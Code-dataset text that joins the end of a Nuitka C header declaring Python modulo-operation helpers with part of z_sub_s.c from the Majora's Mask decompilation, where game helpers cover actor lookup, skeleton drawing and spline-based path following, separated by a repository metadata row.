/* Code referring to "STR" corresponds to Python2 'str' and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_LONG(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_FLOAT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "STR" to Python2 'str'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_STR(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "UNICODE" to Python2 'unicode', Python3 'str'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_UNICODE(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "TUPLE" to Python 'tuple'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_TUPLE(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "LIST" to Python 'list'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_LIST(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "DICT" to Python 'dict'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_DICT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "STR" corresponds to Python2 'str' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_STR_OBJECT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION < 0x300
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "INT" to Python2 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_INT(PyObject *operand1, PyObject *operand2);
#endif
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "LONG" to Python2 'long', Python3
* 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_LONG(PyObject *operand1, PyObject *operand2);
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_FLOAT(PyObject *operand1, PyObject *operand2);
#if PYTHON_VERSION < 0x300
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "STR" to Python2 'str'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_STR(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "BYTES" to Python3 'bytes'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_BYTES(PyObject *operand1, PyObject *operand2);
#endif
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "UNICODE" to Python2 'unicode',
* Python3 'str'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_UNICODE(PyObject *operand1, PyObject *operand2);
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "TUPLE" to Python 'tuple'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_TUPLE(PyObject *operand1, PyObject *operand2);
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "LIST" to Python 'list'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_LIST(PyObject *operand1, PyObject *operand2);
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "DICT" to Python 'dict'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_DICT(PyObject *operand1, PyObject *operand2);
/* Code referring to "UNICODE" corresponds to Python2 'unicode', Python3 'str' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_UNICODE_OBJECT(PyObject *operand1, PyObject *operand2);
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "LONG" to Python2 'long', Python3 'int'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_LONG(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "FLOAT" to Python 'float'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_FLOAT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "BYTES" to Python3 'bytes'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_BYTES(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "UNICODE" to Python2 'unicode', Python3 'str'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_UNICODE(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "TUPLE" to Python 'tuple'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_TUPLE(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "LIST" to Python 'list'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_LIST(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "DICT" to Python 'dict'. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_DICT(PyObject *operand1, PyObject *operand2);
#endif
#if PYTHON_VERSION >= 0x300
/* Code referring to "BYTES" corresponds to Python3 'bytes' and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_BYTES_OBJECT(PyObject *operand1, PyObject *operand2);
#endif
/* Code referring to "OBJECT" corresponds to any Python object and "OBJECT" to any Python object. */
extern PyObject *BINARY_OPERATION_MOD_OBJECT_OBJECT_OBJECT(PyObject *operand1, PyObject *operand2);
/* Code referring to "OBJECT" corresponds to any Python object and "OBJECT" to any Python object. */
extern nuitka_bool BINARY_OPERATION_MOD_NBOOL_OBJECT_OBJECT(PyObject *operand1, PyObject *operand2);
|
f46cfa4c8db07dd37792d4dc6b841796b0d75c7f
|
035660e8cc10571ebbd0d4393fef063bb7eb98f6
|
/src/code/z_sub_s.c
|
4060c3361d6336da5a5a0abb82d01ff57b037ac6
|
[] |
no_license
|
zeldaret/mm
|
f163a5e7c4314105777369fa7671ce9c2a99922a
|
4ae00e909e74044f05155683b49d2561f91de7ba
|
refs/heads/master
| 2023-08-06T07:22:04.912966
| 2023-08-04T20:36:03
| 2023-08-04T20:36:03
| 247,875,852
| 915
| 328
| null | 2023-09-14T11:48:59
| 2020-03-17T04:03:07
|
C
|
UTF-8
|
C
| false
| false
| 58,251
|
c
|
z_sub_s.c
|
/*
* File: z_sub_s.c
* Description: Various miscellaneous helpers
*/
#include "global.h"
#include "overlays/actors/ovl_En_Door/z_en_door.h"
s16 sPathDayFlags[] = { 0x40, 0x20, 0x10, 8, 4, 2, 1, 0 };
#include "code/sub_s/sub_s.c"
Vec3f gOneVec3f = { 1.0f, 1.0f, 1.0f };
s32 D_801C5DBC[] = { 0, 1 }; // Unused
/**
* Finds the first EnDoor instance with doorType == ENDOOR_TYPE_5 and the specified switchFlag.
*/
EnDoor* SubS_FindDoor(PlayState* play, s32 switchFlag) {
Actor* actor = NULL;
EnDoor* door;
while (true) {
actor = SubS_FindActor(play, actor, ACTORCAT_DOOR, ACTOR_EN_DOOR);
door = (EnDoor*)actor;
if (actor == NULL) {
break;
}
if ((door->doorType == ENDOOR_TYPE_5) && (door->switchFlag == (u8)switchFlag)) {
break;
}
if (actor->next == NULL) {
door = NULL;
break;
}
actor = actor->next;
}
return door;
}
Gfx* SubS_DrawTransformFlexLimb(PlayState* play, s32 limbIndex, void** skeleton, Vec3s* jointTable,
OverrideLimbDraw overrideLimbDraw, PostLimbDraw postLimbDraw,
TransformLimbDraw transformLimbDraw, Actor* actor, Mtx** mtx, Gfx* gfx) {
StandardLimb* limb;
Gfx* newDList;
Gfx* limbDList;
Vec3f pos;
Vec3s rot;
Matrix_Push();
limb = Lib_SegmentedToVirtual(skeleton[limbIndex]);
limbIndex++;
rot = jointTable[limbIndex];
pos.x = limb->jointPos.x;
pos.y = limb->jointPos.y;
pos.z = limb->jointPos.z;
newDList = limbDList = limb->dList;
if ((overrideLimbDraw == NULL) || !overrideLimbDraw(play, limbIndex, &newDList, &pos, &rot, actor, &gfx)) {
Matrix_TranslateRotateZYX(&pos, &rot);
Matrix_Push();
transformLimbDraw(play, limbIndex, actor, &gfx);
if (newDList != NULL) {
Matrix_ToMtx(*mtx);
gSPMatrix(gfx++, *mtx, G_MTX_NOPUSH | G_MTX_LOAD | G_MTX_MODELVIEW);
gSPDisplayList(gfx++, newDList);
(*mtx)++;
} else if (limbDList != NULL) {
Matrix_ToMtx(*mtx);
(*mtx)++;
}
Matrix_Pop();
}
if (postLimbDraw != NULL) {
postLimbDraw(play, limbIndex, &limbDList, &rot, actor, &gfx);
}
if (limb->child != LIMB_DONE) {
gfx = SubS_DrawTransformFlexLimb(play, limb->child, skeleton, jointTable, overrideLimbDraw, postLimbDraw,
transformLimbDraw, actor, mtx, gfx);
}
Matrix_Pop();
if (limb->sibling != LIMB_DONE) {
gfx = SubS_DrawTransformFlexLimb(play, limb->sibling, skeleton, jointTable, overrideLimbDraw, postLimbDraw,
transformLimbDraw, actor, mtx, gfx);
}
return gfx;
}
/**
* Draw all limbs of type `StandardLimb` in a given flexible skeleton
* Limbs in a flexible skeleton have meshes that can stretch to line up with other limbs.
* An array of matrices is dynamically allocated so each limb can access any transform to ensure its meshes line up.
*
* Also makes use of a `TransformLimbDraw`, which transforms limbs based on world coordinates, as opposed to local limb
* coordinates.
* Note that the `TransformLimbDraw` does not have a NULL check, so must be provided even if empty.
*/
Gfx* SubS_DrawTransformFlex(PlayState* play, void** skeleton, Vec3s* jointTable, s32 dListCount,
OverrideLimbDraw overrideLimbDraw, PostLimbDraw postLimbDraw,
TransformLimbDraw transformLimbDraw, Actor* actor, Gfx* gfx) {
StandardLimb* rootLimb;
s32 pad;
Gfx* newDlist;
Gfx* limbDList;
Vec3f pos;
Vec3s rot;
Mtx* mtx = GRAPH_ALLOC(play->state.gfxCtx, dListCount * sizeof(Mtx));
if (skeleton == NULL) {
return NULL;
}
gSPSegment(gfx++, 0x0D, mtx);
Matrix_Push();
rootLimb = Lib_SegmentedToVirtual(skeleton[0]);
pos.x = jointTable->x;
pos.y = jointTable->y;
pos.z = jointTable->z;
rot = jointTable[1];
newDlist = rootLimb->dList;
limbDList = rootLimb->dList;
if ((overrideLimbDraw == NULL) || !overrideLimbDraw(play, 1, &newDlist, &pos, &rot, actor, &gfx)) {
Matrix_TranslateRotateZYX(&pos, &rot);
Matrix_Push();
transformLimbDraw(play, 1, actor, &gfx);
if (newDlist != NULL) {
Matrix_ToMtx(mtx);
gSPMatrix(gfx++, mtx, G_MTX_NOPUSH | G_MTX_LOAD | G_MTX_MODELVIEW);
gSPDisplayList(gfx++, newDlist);
mtx++;
} else if (limbDList != NULL) {
Matrix_ToMtx(mtx);
mtx++;
}
Matrix_Pop();
}
if (postLimbDraw != NULL) {
postLimbDraw(play, 1, &limbDList, &rot, actor, &gfx);
}
if (rootLimb->child != LIMB_DONE) {
gfx = SubS_DrawTransformFlexLimb(play, rootLimb->child, skeleton, jointTable, overrideLimbDraw, postLimbDraw,
transformLimbDraw, actor, &mtx, gfx);
}
Matrix_Pop();
return gfx;
}
s32 SubS_InCsMode(PlayState* play) {
s32 inCsMode = false;
if (Play_InCsMode(play)) {
inCsMode = true;
}
return inCsMode;
}
/**
* Computes a limb's position and rotation for use in TransformLimbDraws
*
* @param[in] newRotZ value to override newRot's Z value if override is true
* @param[in] newRotY value to override newRot's Y value if override is true
* @param[out] pos limb's computed position
* @param[out] rot limb's computed rotation
* @param[in] stepRot boolean, step towards newRot instead of setting directly
* @param[in] overrideRot boolean, override newRot with the specified input.
*
* @note if overrideRot is true, the rotation will automatically step instead of setting directly
*/
s32 SubS_UpdateLimb(s16 newRotZ, s16 newRotY, Vec3f* pos, Vec3s* rot, s32 stepRot, s32 overrideRot) {
Vec3f newPos;
Vec3f zeroVec = gZeroVec3f;
Vec3s newRot;
MtxF curState;
Matrix_MultVec3f(&zeroVec, &newPos);
Matrix_Get(&curState);
Matrix_MtxFToYXZRot(&curState, &newRot, false);
*pos = newPos;
if (!stepRot && !overrideRot) {
rot->x = newRot.x;
rot->y = newRot.y;
rot->z = newRot.z;
return true;
}
if (overrideRot) {
newRot.z = newRotZ;
newRot.y = newRotY;
}
Math_SmoothStepToS(&rot->x, newRot.x, 3, 0x2AA8, 0xB6);
Math_SmoothStepToS(&rot->y, newRot.y, 3, 0x2AA8, 0xB6);
Math_SmoothStepToS(&rot->z, newRot.z, 3, 0x2AA8, 0xB6);
return true;
}
void SubS_SetOfferMode(u16* flags, u16 offerMode, u16 mask) {
*flags = (*flags & ~mask) | offerMode;
}
/**
* Fills the knot array to be used with time paths
*
* The default knot array just pads with `order` duplicate knots of the first knot at the front and of the last knot
* at the end.
*
* @param[out] knots an array of values that are used to compute the progress and the individual weights
* @param[in] order the order of the interpolation i.e. the number of points in the interpolation
* @param[in] numPoints the number of points to fill, generally the path count + order
*
* @note Same note as SubS_TimePathing_Update()
*/
void SubS_TimePathing_FillKnots(f32 knots[], s32 order, s32 numPoints) {
s32 i;
f32 val = 0.0f;
for (i = 0; i < numPoints; i++) {
if ((i >= order) && (i < (numPoints - order + 1))) {
val += 1.0f;
}
knots[i] = val;
}
}
typedef enum {
/* 0 */ SUBS_TIME_PATHING_PROGRESS_STATUS_ERROR,
/* 1 */ SUBS_TIME_PATHING_PROGRESS_STATUS_STILL_ON_PATH,
/* 2 */ SUBS_TIME_PATHING_PROGRESS_STATUS_SHOULD_REACH_END
} SUBS_TIME_PATHING_PROGRESS_STATUS;
/**
* Computes the progress to be used with time paths
*
* @param[out] progress the progress along the path, used to compute the weights
* @param[in] elapsedTime how much time has passed
* @param[in] waypointTime how much time per each waypoint
* @param[in] totalTime how much time the path should take to travel
* @param[in] pathCount the path count
* @param[in] order the order of the interpolation i.e. the number of points in the interpolation
* @param[in] knots see SubS_TimePathing_FillKnots()
*
* @return see SUBS_TIME_PATHING_PROGRESS_STATUS
*/
s32 SubS_TimePathing_ComputeProgress(f32* progress, s32 elapsedTime, s32 waypointTime, s32 totalTime, s32 pathCount,
s32 order, f32 knots[]) {
s32 i;
s32 j;
s32 k;
f32 waypointTimeInv; // The fraction of a waypoint a single unit of time contains
*progress = 0.0f;
if ((waypointTime <= 0) || (elapsedTime < 0)) {
return SUBS_TIME_PATHING_PROGRESS_STATUS_ERROR;
}
// When using the knots from SubS_TimePathing_FillKnots() these nested loops seem to simplify to
// *progress = (f32)elapsedTime / (f32)waypointTime;
waypointTimeInv = 1.0f / waypointTime;
k = 0;
for (i = order - 1; i < pathCount; i++) {
for (j = 0; j < waypointTime; j++) {
if (k == elapsedTime) {
break;
}
*progress += (knots[i + 1] - knots[i]) * waypointTimeInv;
k++;
}
}
return (elapsedTime == totalTime) ? SUBS_TIME_PATHING_PROGRESS_STATUS_SHOULD_REACH_END
: SUBS_TIME_PATHING_PROGRESS_STATUS_STILL_ON_PATH;
}
/**
* Computes the interpolation weights to be used with time paths
*
* Seems to use some kind of B-Spline interpolation algorithm
*
* @param[in] order the order of the interpolation i.e. the number of points in the interpolation, max is 10
* @param[in] progress see SubS_TimePathing_ComputeProgress()
* @param[in] waypoint the current waypoint
* @param[in] knots see SubS_TimePathing_FillKnots()
* @param[out] weights how much to weight each point considered
*/
void SubS_TimePathing_ComputeWeights(s32 order, f32 progress, s32 waypoint, f32 knots[], f32 weights[]) {
f32 weightsTemp[10][11];
s32 i;
s32 j;
s32 k;
for (i = 0; i < order; i++) {
for (j = 0; j < order + 1; j++) {
weightsTemp[i][j] = 0.0f;
}
}
weightsTemp[0][order - 1] = 1.0f;
for (i = 1; i < order; i++) {
for (j = waypoint - i, k = (order - 1) - i; j <= waypoint; j++, k++) {
if (knots[j + i] != knots[j]) {
weightsTemp[i][k] = ((progress - knots[j]) / (knots[j + i] - knots[j])) * weightsTemp[i - 1][k];
} else {
weightsTemp[i][k] = 0.0f;
}
if (knots[j + i + 1] != knots[j + 1]) {
weightsTemp[i][k] +=
((knots[j + i + 1] - progress) / (knots[j + i + 1] - knots[j + 1])) * weightsTemp[i - 1][k + 1];
}
}
}
for (j = 0; j < order; j++) {
weights[j] = weightsTemp[order - 1][j];
}
}
/**
* Computes the X and Z component of the position to move to in time based paths
*
* @param[out] x computed x position
* @param[out] z computed z position
* @param[in] progress see SubS_TimePathing_ComputeProgress()
* @param[in] order the order of the interpolation i.e. the number of points in the interpolation, max is 10
* @param[in] waypoint the current waypoint
* @param[in] points the path's points
* @param[in] knots see SubS_TimePathing_FillKnots()
*/
void SubS_TimePathing_ComputeTargetPosXZ(f32* x, f32* z, f32 progress, s32 order, s32 waypoint, Vec3s points[],
f32 knots[]) {
f32 xPos;
f32 zPos;
f32 weights[11];
f32 weightedX;
f32 weightedZ;
f32 weightedTotal;
s32 i;
SubS_TimePathing_ComputeWeights(order, progress, waypoint, knots, weights);
weightedTotal = 0.0f;
weightedZ = 0.0f;
weightedX = 0.0f;
for (i = 0; i < order; i++) {
xPos = points[waypoint - order + i + 1].x;
zPos = points[waypoint - order + i + 1].z;
weightedX += weights[i] * xPos;
weightedZ += weights[i] * zPos;
weightedTotal += weights[i];
}
*x = weightedX / weightedTotal;
*z = weightedZ / weightedTotal;
}
/**
* Updates a time based path that an actor follows by:
* - Computing the X and Z components of the next point to move to
* - Updating the waypoint
* - Updating the time
*
* @param[in] path
* @param[out] progress see SubS_TimePathing_ComputeProgress()
* @param[in,out] elapsedTime how much time has passed
* @param[in] waypointTime how much time per each waypoint
* @param[in] totalTime how much time the path should take to travel
* @param[in,out] waypoint the current waypoint, this and the previous two points will be used to compute the targetPos
* @param[in] knots see SubS_TimePathing_FillKnots()
* @param[out] targetPos the computed position to move to
* @param[in] timeSpeed how fast time moves
*
* @return s32 returns true when the end has been reached.
*
* @note This system/function makes a couple of assumptions about the order used:
* 1. the order is assumed to be 3, see SUBS_TIME_PATHING_ORDER
* 2. even if SUBS_TIME_PATHING_ORDER is updated, the order can only be a max of 10
*/
s32 SubS_TimePathing_Update(Path* path, f32* progress, s32* elapsedTime, s32 waypointTime, s32 totalTime, s32* waypoint,
f32 knots[], Vec3f* targetPos, s32 timeSpeed) {
Vec3s* points = Lib_SegmentedToVirtual(path->points);
s32 state;
f32 endX;
f32 endZ;
s32 reachedEnd = false;
if (*waypoint >= path->count) {
state = SUBS_TIME_PATHING_PROGRESS_STATUS_SHOULD_REACH_END;
} else {
state = SubS_TimePathing_ComputeProgress(progress, *elapsedTime, waypointTime, totalTime, path->count,
SUBS_TIME_PATHING_ORDER, knots);
}
switch (state) {
case SUBS_TIME_PATHING_PROGRESS_STATUS_STILL_ON_PATH:
reachedEnd = false;
SubS_TimePathing_ComputeTargetPosXZ(&targetPos->x, &targetPos->z, *progress, SUBS_TIME_PATHING_ORDER,
*waypoint, points, knots);
break;
case SUBS_TIME_PATHING_PROGRESS_STATUS_SHOULD_REACH_END:
endX = points[path->count - 1].x;
endZ = points[path->count - 1].z;
targetPos->x = endX * 1;
targetPos->z = endZ * 1;
reachedEnd = true;
break;
}
*elapsedTime += timeSpeed;
if (*elapsedTime >= totalTime) {
*elapsedTime = totalTime;
} else if (*elapsedTime < 0) {
*elapsedTime = 0;
}
*waypoint = (*elapsedTime / waypointTime) + (SUBS_TIME_PATHING_ORDER - 1);
return reachedEnd;
}
/**
* Computes the initial Y component of a time based path
*
* @param[in] play
* @param[in] path
* @param[in] waypoint the current waypoint, this and the previous two points will be used to compute the target pos
* @param[out] targetPos the computed position to move to, only the Y component has meaning
*
* @note Same note as SubS_TimePathing_Update()
*/
void SubS_TimePathing_ComputeInitialY(PlayState* play, Path* path, s32 waypoint, Vec3f* targetPos) {
Vec3s* points = Lib_SegmentedToVirtual(path->points);
Vec3f posA;
Vec3f posB;
Vec3f posResult;
s32 i = waypoint - (SUBS_TIME_PATHING_ORDER - 1);
s16 max;
s16 min;
s32 isSetup;
CollisionPoly* outPoly = NULL;
s32 bgId = 0;
max = 0;
min = 0;
isSetup = false;
for (; i <= waypoint; i++) {
if (isSetup) {
if (max < points[i].y) {
max = points[i].y;
}
if (points[i].y < min) {
min = points[i].y;
}
} else {
max = min = points[i].y;
}
isSetup = true;
}
max += 30;
min -= 30;
posA = *targetPos;
posB = *targetPos;
posA.y = max;
posB.y = min;
if (BgCheck_EntityLineTest1(&play->colCtx, &posA, &posB, &posResult, &outPoly, true, true, true, true, &bgId)) {
targetPos->y = posResult.y;
}
}
Path* SubS_GetAdditionalPath(PlayState* play, u8 pathIndex, s32 limit) {
Path* path;
s32 i = 0;
do {
path = &play->setupPathList[pathIndex];
if (i >= limit) {
break;
}
pathIndex = path->additionalPathIndex;
i++;
} while (pathIndex != ADDITIONAL_PATH_INDEX_NONE);
return path;
}
/**
* Finds the nearest actor instance of a specified Id and category to an actor.
*/
Actor* SubS_FindNearestActor(Actor* actor, PlayState* play, u8 actorCategory, s16 actorId) {
Actor* actorIter = NULL;
Actor* actorTmp;
f32 dist;
Actor* closestActor = NULL;
f32 minDist = 99999.0f;
s32 isSetup = false;
do {
actorIter = SubS_FindActor(play, actorIter, actorCategory, actorId);
actorTmp = actorIter;
if (actorTmp == NULL) {
break;
}
actorIter = actorTmp;
if (actorIter != actor) {
dist = Actor_WorldDistXYZToActor(actor, actorIter);
if (!isSetup || dist < minDist) {
closestActor = actorIter;
minDist = dist;
isSetup = true;
}
}
actorIter = actorIter->next;
} while (actorIter != NULL);
return closestActor;
}
s32 SubS_ChangeAnimationByInfoS(SkelAnime* skelAnime, AnimationInfoS* animationInfo, s32 animIndex) {
s32 endFrame;
s32 startFrame;
animationInfo += animIndex;
endFrame = animationInfo->frameCount;
if (animationInfo->frameCount < 0) {
endFrame = Animation_GetLastFrame(&animationInfo->animation->common);
}
startFrame = animationInfo->startFrame;
if (startFrame >= endFrame || startFrame < 0) {
return false;
}
if (animationInfo->playSpeed < 0.0f) {
SWAP(s32, endFrame, startFrame);
}
Animation_Change(skelAnime, animationInfo->animation, animationInfo->playSpeed, startFrame, endFrame,
animationInfo->mode, animationInfo->morphFrames);
return true;
}
s32 SubS_HasReachedPoint(Actor* actor, Path* path, s32 pointIndex) {
Vec3s* points = Lib_SegmentedToVirtual(path->points);
s32 count = path->count;
s32 index = pointIndex;
s32 reached = false;
f32 diffX;
f32 diffZ;
f32 px;
f32 pz;
f32 d;
Vec3f point;
Math_Vec3s_ToVec3f(&point, &points[index]);
if (index == 0) {
diffX = points[1].x - points[0].x;
diffZ = points[1].z - points[0].z;
} else if (index == count - 1) {
diffX = points[count - 1].x - points[count - 2].x;
diffZ = points[count - 1].z - points[count - 2].z;
} else {
diffX = points[index + 1].x - points[index - 1].x;
diffZ = points[index + 1].z - points[index - 1].z;
}
func_8017B7F8(&point, RAD_TO_BINANG(Math_FAtan2F(diffX, diffZ)), &px, &pz, &d);
if (((px * actor->world.pos.x) + (pz * actor->world.pos.z) + d) > 0.0f) {
reached = true;
}
return reached;
}
Path* SubS_GetDayDependentPath(PlayState* play, u8 pathIndex, u8 pathIndexNone, s32* startPointIndex) {
Path* path = NULL;
s32 found = false;
s32 time = (((s16)TIME_TO_MINUTES_F(gSaveContext.save.time) % 60) +
((s16)TIME_TO_MINUTES_F(gSaveContext.save.time) / 60) * 60) /
30;
s32 day = CURRENT_DAY;
if (pathIndex == pathIndexNone) {
return NULL;
}
while (pathIndex != ADDITIONAL_PATH_INDEX_NONE) {
path = &play->setupPathList[pathIndex];
if (path->customValue & sPathDayFlags[day]) {
found = true;
break;
}
pathIndex = path->additionalPathIndex;
}
if (found == true) {
*startPointIndex = time;
*startPointIndex = CLAMP(*startPointIndex, 0, path->count - 1);
} else {
*startPointIndex = 0;
}
return path;
}
/**
* Computes the point to move toward using a weight based algorithm that considers 4 points along the path
*
* @param path
* @param waypoint the current waypoint, this and the previous three points will be used to compute the point
* @param point the point computed
* @param progress the main weight value used to compute the weights for the points considered
* @param direction the direciton along the path to move, 1 for forwards, anything else for backwards
*
* @note only computes X and Z components of the point
*/
s32 SubS_WeightPathing_ComputePoint(Path* path, s32 waypoint, Vec3f* point, f32 progress, s32 direction) {
s32 i;
f32 weight0;
f32 weight1;
f32 weight2;
f32 weight3;
s32 lastPoint;
s32 secondLastPoint;
s32 secondPoint;
s32 firstPoint;
f32 xPoints[4];
f32 zPoints[4];
f32 oneMinusProgress;
f32 squared;
f32 cubed;
Vec3s* points;
s32 count = path->count;
s32 pointIndex;
s32 tmp;
if (path == NULL) {
return false;
}
if (direction == 1) {
if (waypoint <= 2) {
pointIndex = 2;
} else {
pointIndex = (waypoint == 3) ? 3 : waypoint;
}
for (i = 0; i < 4; i++, pointIndex--) {
if (pointIndex <= 0) {
pointIndex = 0;
}
points = Lib_SegmentedToVirtual(path->points);
points = &points[pointIndex];
xPoints[i] = points->x;
zPoints[i] = points->z;
}
lastPoint = count - 1;
secondLastPoint = count - 2;
secondPoint = 3;
firstPoint = 2;
} else {
if (waypoint >= count - 3) {
pointIndex = count - 3;
} else {
tmp = waypoint + 4;
pointIndex = (count == tmp) ? count - 4 : waypoint;
}
for (i = 0; i < 4; i++, pointIndex++) {
if (pointIndex >= path->count) {
pointIndex = path->count - 1;
}
points = Lib_SegmentedToVirtual(path->points);
points = &points[pointIndex];
xPoints[i] = points->x;
zPoints[i] = points->z;
}
lastPoint = 0;
secondLastPoint = 1;
secondPoint = count - 4;
firstPoint = count - 3;
}
if (waypoint == lastPoint) {
oneMinusProgress = 1.0f - progress;
squared = progress * progress;
cubed = progress * squared;
weight0 = oneMinusProgress * oneMinusProgress * oneMinusProgress;
weight1 = (1.75f * cubed) - (4.5f * squared) + (3.0f * progress);
weight2 = ((-11.0f / 12.0f) * cubed) + (1.5f * squared);
weight3 = (1.0f / 6.0f) * cubed;
} else if (waypoint == secondLastPoint) {
oneMinusProgress = 1.0f - progress;
squared = progress * progress;
cubed = progress * squared;
weight0 = oneMinusProgress * oneMinusProgress * oneMinusProgress * ((void)0, 0.25f); //! FAKE:
weight1 = ((7.0f / 12.0f) * cubed) - (1.25f * squared) + (0.25f * progress) + (7.0f / 12.0f);
weight2 = (-0.5f * cubed) + (0.5f * squared) + (progress * 0.5f) + (1.0f / 6.0f);
weight3 = cubed * (1.0f / 6.0f);
} else if (waypoint == secondPoint) {
oneMinusProgress = 1.0f - progress;
squared = oneMinusProgress * oneMinusProgress;
cubed = oneMinusProgress * squared;
weight0 = (1.0f / 6.0f) * cubed;
weight1 = (-0.5f * cubed) + (0.5f * squared) + (0.5f * oneMinusProgress) + (1.0f / 6.0f);
weight2 = ((7.0f / 12.0f) * cubed) - (1.25f * squared) + (0.25f * oneMinusProgress) + (7.0f / 12.0f);
weight3 = progress * progress * progress * 0.25f;
} else if (((direction == 1) && (firstPoint >= waypoint)) || ((direction != 1) && (waypoint >= firstPoint))) {
oneMinusProgress = 1.0f - progress;
squared = oneMinusProgress * oneMinusProgress;
cubed = oneMinusProgress * squared;
weight0 = (1.0f / 6.0f) * cubed;
weight1 = ((-11.0f / 12.0f) * cubed) + (1.5f * squared);
weight2 = (1.75f * cubed) - (4.5f * squared) + (3.0f * oneMinusProgress);
weight3 = progress * progress * progress;
} else {
oneMinusProgress = 1.0f - progress;
squared = progress * progress;
cubed = squared * progress;
weight0 = oneMinusProgress * oneMinusProgress;
weight0 = oneMinusProgress * weight0 / 6.0f;
weight1 = (cubed * 0.5f) - squared + (2.0f / 3.0f);
weight2 = (cubed / -2.0f) + (squared * 0.5f) + (progress * 0.5f) + (1.0f / 6.0f);
weight3 = cubed / 6.0f;
}
point->x = (weight0 * xPoints[0]) + (weight1 * xPoints[1]) + (weight2 * xPoints[2]) + (weight3 * xPoints[3]);
point->z = (weight0 * zPoints[0]) + (weight1 * zPoints[1]) + (weight2 * zPoints[2]) + (weight3 * zPoints[3]);
return true;
}
// WeightPathing System is completely unused
/**
* Moves an actor based on a weight based algorithm that takes into account 4 points along the path
*
* @param actor
* @param path
* @param waypoint the current waypoint, this and the previous three points will be used to move forward
* @param progress the progress towards a given waypoint, used to compute the weights
* @param direction the direction along the path to move, 1 for forwards, anything else for backwards
* @param returnStart boolean, true if the actor should wrap back to start when reaching the end
*
* @return s32 true if actor reached the end of the path in this iteration, false otherwise
*/
s32 SubS_WeightPathing_Move(Actor* actor, Path* path, s32* waypoint, f32* progress, s32 direction, s32 returnStart) {
Vec3f worldPos = actor->world.pos;
Vec3f velocity = actor->velocity;
Vec3f point;
f32 dist;
if (((direction != 1) && (*waypoint >= (path->count - 2))) || ((direction == 1) && (*waypoint < 2))) {
return false;
}
while (true) {
if (!SubS_WeightPathing_ComputePoint(path, *waypoint, &point, *progress, direction) ||
((s32)(actor->speed * 10000.0f) == 0)) {
return false;
}
dist = Math_Vec3f_DistXZ(&actor->world.pos, &point);
actor->world.rot.y = Math_Vec3f_Yaw(&actor->world.pos, &point);
